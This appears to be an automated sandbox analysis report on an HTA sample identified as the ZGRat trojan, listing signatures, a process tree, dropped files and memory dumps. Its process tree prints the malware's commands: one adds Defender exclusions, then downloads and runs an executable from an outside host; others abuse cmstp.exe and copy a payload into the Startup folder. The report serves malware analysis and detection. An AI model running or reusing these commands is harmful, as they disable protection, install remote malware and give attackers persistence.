Analysis

  • max time kernel
    131s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/05/2024, 01:10

General

  • Target
    355851dbcd13c36aa58da3c34213e30e15b2a299f6fbe7611b07b07679041ac4.hta
  • Size 9KB
  • Sample240514-bjkcaadf38
  • SHA256 355851dbcd13c36aa58da3c34213e30e15b2a299f6fbe7611b07b07679041ac4
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detect ZGRat V1 34 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Detects executables packed with Agile.NET / CliSecure 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Obfuscated with Agile.Net obfuscator 1 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 36 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\355851dbcd13c36aa58da3c34213e30e15b2a299f6fbe7611b07b07679041ac4.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2456
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -File C:\Users\Public\sWRA.ps1
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3244
      • C:\Windows\SysWOW64\cmstp.exe
        "cmstp.exe" C:\Users\Public\config.inf /au
        3⤵
          PID:1060
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gttjsnwf\gttjsnwf.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2224
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE4A3.tmp" "c:\Users\Admin\AppData\Local\Temp\gttjsnwf\CSC767320E3ED2646A296D16AA292D88981.TMP"
            4⤵
              PID:4252
      • C:\Windows\SysWOW64\DllHost.exe
        C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:3900
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -ExecutionPolicy UnRestricted -WindowStyle Hidden Add-MpPreference -ExclusionPath $env:PUBLIC,'C:\';Add-MpPreference -ExclusionExtension '.exe';curl.exe 'http://relay-02-static.network/rkei/Kntgugii.exe' -o ($env:PUBLIC + '\Kntgugii.exe');start ($env:PUBLIC + '\Kntgugii.exe')
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4920
          • C:\Windows\SysWOW64\curl.exe
            "C:\Windows\system32\curl.exe" http://relay-02-static.network/rkei/Kntgugii.exe -o C:\Users\Public\Kntgugii.exe
            3⤵
              PID:4736
            • C:\Users\Public\Kntgugii.exe
              "C:\Users\Public\Kntgugii.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:1440
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /IM cmstp.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2128
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=2856,i,2607710392823067546,4648797561512801463,262144 --variations-seed-version --mojo-platform-channel-handle=4012 /prefetch:8
          1⤵
            PID:4732
          • C:\Users\Admin\AppData\Local\FrameworkDisplayName\lrqzysar\TypeId.exe
            C:\Users\Admin\AppData\Local\FrameworkDisplayName\lrqzysar\TypeId.exe
            1⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:560
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
              2⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:5044
          • C:\Users\Admin\AppData\Local\Temp\qjnxunle.exe
            C:\Users\Admin\AppData\Local\Temp\qjnxunle.exe
            1⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3100
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
              "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\qjnxunle.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qjnxunle.exe' -Force
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Drops startup file
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5108
            • C:\Users\Admin\AppData\Local\Temp\qjnxunle.exe
              "C:\Users\Admin\AppData\Local\Temp\qjnxunle.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious behavior: AddClipboardFormatListener
              • Suspicious use of AdjustPrivilegeToken
              PID:2316

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 52117555684871e6ffb8392082b5fd7268149bf6ca1760f1b317a6ed6ab93aa2
                • MD5 SHA1 SHA512

                qjnxunle.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\qjnxunle.exe.log
                • Size 1KB
                • SHA256 7d3800257c46946cef2203244847520f0e16db338db8032ced936e1a56f9da9c
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 20KB
                • SHA256 549e60c62942399f89747f4bffc8d535af9cf2017c5574755453a73f05b0e702
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 19KB
                • SHA256 6e8dff293be08a6fd029ec7183dd57afee7e7aa66bdb5ba9d4446d422f221a91
                • MD5 SHA1 SHA512 SSDEEP

                RESE4A3.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\RESE4A3.tmp
                • Size 1KB
                • SHA256 e7af8a0fcbb597acaa52aefc57328cad1e5fdd6d07437b98fe496bf31893bdd5
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_oeuqmuui.oqs.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oeuqmuui.oqs.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                gttjsnwf.dll

                • Path C:\Users\Admin\AppData\Local\Temp\gttjsnwf\gttjsnwf.dll
                • Size 3KB
                • SHA256 8befc5a312e8a2c2de04fe643f99537b1271498d022113906a71aa1094bcf5c0
                • MD5 SHA1 SHA512

                qjnxunle.exe

                • Path C:\Users\Admin\AppData\Local\Temp\qjnxunle.exe
                • Size 26KB
                • SHA256 aae9e126f03798f15445e8f308bbf43e9bda6a9e1ffaa9fe2dfd75eb65fef74c
                • MD5 SHA1 SHA512 SSDEEP

                Kntgugii.exe

                • Path C:\Users\Public\Kntgugii.exe
                • Size 594KB
                • SHA256 3f352445c521895812735acebb5f944cd1e88024cade5b201c562166619ffc9f
                • MD5 SHA1 SHA512 SSDEEP

                config.inf

                • Path C:\Users\Public\config.inf
                • Size 793B
                • SHA256 2fb41b2fc5e9a70f7f4b5c4338306b0ad7b6e9a46921c11bb99a24b3f856c99c
                • MD5 SHA1 SHA512

                sWRA.ps1

                • Path C:\Users\Public\sWRA.ps1
                • Size 980B
                • SHA256 9cf9a284d8520457baa6bbc513174c60744a9ed5662740b92052bb809c72fc6c
                • MD5 SHA1 SHA512

                CSC767320E3ED2646A296D16AA292D88981.TMP

                • Path \??\c:\Users\Admin\AppData\Local\Temp\gttjsnwf\CSC767320E3ED2646A296D16AA292D88981.TMP
                • Size 652B
                • SHA256 6f28ae4f2a91c119d08df0cc2a8b614b0e782975ce6dfd015217c47509f7b499
                • MD5 SHA1 SHA512

                gttjsnwf.0.cs

                • Path \??\c:\Users\Admin\AppData\Local\Temp\gttjsnwf\gttjsnwf.0.cs
                • Size 319B
                • SHA256 f52036306d49ca5bc0c58242a311526e4d045dcd070b0981db503da5e3a55212
                • MD5 SHA1 SHA512

                gttjsnwf.cmdline

                • Path \??\c:\Users\Admin\AppData\Local\Temp\gttjsnwf\gttjsnwf.cmdline
                • Size 369B
                • SHA256 b209a30374484fb3fb5b4f21facb78065a6a2d2c0f2156b87581ce8f404ccf63
                • MD5 SHA1 SHA512

                memory/1440-93-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-107-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-2318-0x00000000051F0000-0x0000000005244000-memory.dmp

                memory/1440-2317-0x0000000004BD0000-0x0000000004C1C000-memory.dmp

                memory/1440-2316-0x0000000004B70000-0x0000000004BC6000-memory.dmp

                memory/1440-97-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-99-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-101-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-103-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-105-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-109-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-111-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-113-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-115-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-118-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-119-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-121-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-123-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-125-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-129-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-131-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-133-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-135-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-137-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-140-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-141-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-143-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-145-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-147-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-86-0x0000000000120000-0x00000000001BA000-memory.dmp

                memory/1440-87-0x0000000004970000-0x0000000004A58000-memory.dmp

                memory/1440-95-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-149-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-151-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-91-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-127-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-89-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/1440-88-0x0000000004970000-0x0000000004A52000-memory.dmp

                memory/2316-7662-0x00000000057F0000-0x0000000005846000-memory.dmp

                memory/2316-6809-0x00000000055B0000-0x0000000005676000-memory.dmp

                memory/2316-6808-0x0000000000400000-0x00000000004A8000-memory.dmp

                memory/3100-6785-0x00000000009B0000-0x00000000009BC000-memory.dmp

                memory/3100-6789-0x0000000006940000-0x00000000069DC000-memory.dmp

                memory/3100-6788-0x00000000066A0000-0x00000000066BE000-memory.dmp

                memory/3100-6787-0x00000000064D0000-0x00000000065A4000-memory.dmp

                memory/3100-6786-0x00000000054F0000-0x0000000005566000-memory.dmp

                memory/3244-24-0x00000000065D0000-0x00000000065EA000-memory.dmp

                memory/3244-23-0x00000000076D0000-0x0000000007D4A000-memory.dmp

                memory/3244-6-0x00000000722D0000-0x0000000072A80000-memory.dmp

                memory/3244-3-0x0000000004AC0000-0x0000000004AF6000-memory.dmp

                memory/3244-4-0x00000000722D0000-0x0000000072A80000-memory.dmp

                memory/3244-7-0x00000000051E0000-0x0000000005202000-memory.dmp

                memory/3244-5-0x0000000005280000-0x00000000058A8000-memory.dmp

                memory/3244-8-0x0000000005960000-0x00000000059C6000-memory.dmp

                memory/3244-47-0x00000000722D0000-0x0000000072A80000-memory.dmp

                memory/3244-44-0x00000000075F0000-0x00000000075FA000-memory.dmp

                memory/3244-43-0x0000000007600000-0x0000000007692000-memory.dmp

                memory/3244-9-0x0000000005A80000-0x0000000005AE6000-memory.dmp

                memory/3244-2-0x00000000722DE000-0x00000000722DF000-memory.dmp

                memory/3244-19-0x0000000005AF0000-0x0000000005E44000-memory.dmp

                memory/3244-41-0x00000000074A0000-0x00000000074A8000-memory.dmp

                memory/3244-20-0x0000000006080000-0x000000000609E000-memory.dmp

                memory/3244-21-0x00000000060D0000-0x000000000611C000-memory.dmp

                memory/3244-26-0x0000000008300000-0x00000000088A4000-memory.dmp

                memory/3244-28-0x0000000007450000-0x0000000007472000-memory.dmp

                memory/3244-27-0x00000000074B0000-0x0000000007546000-memory.dmp

                memory/4920-79-0x0000000007160000-0x0000000007174000-memory.dmp

                memory/4920-81-0x00000000071A0000-0x00000000071A8000-memory.dmp

                memory/4920-75-0x0000000006DE0000-0x0000000006E83000-memory.dmp

                memory/4920-76-0x0000000006F80000-0x0000000006F8A000-memory.dmp

                memory/4920-77-0x0000000007110000-0x0000000007121000-memory.dmp

                memory/4920-78-0x0000000007150000-0x000000000715E000-memory.dmp

                memory/4920-62-0x0000000005C10000-0x0000000005C5C000-memory.dmp

                memory/4920-63-0x0000000006D70000-0x0000000006DA2000-memory.dmp

                memory/4920-60-0x0000000005560000-0x00000000058B4000-memory.dmp

                memory/4920-74-0x0000000006DB0000-0x0000000006DCE000-memory.dmp

                memory/4920-64-0x0000000073BF0000-0x0000000073C3C000-memory.dmp

                memory/4920-80-0x00000000071B0000-0x00000000071CA000-memory.dmp

                memory/5108-6790-0x0000000005890000-0x0000000005BE4000-memory.dmp

                memory/5108-6801-0x0000000006170000-0x00000000061BC000-memory.dmp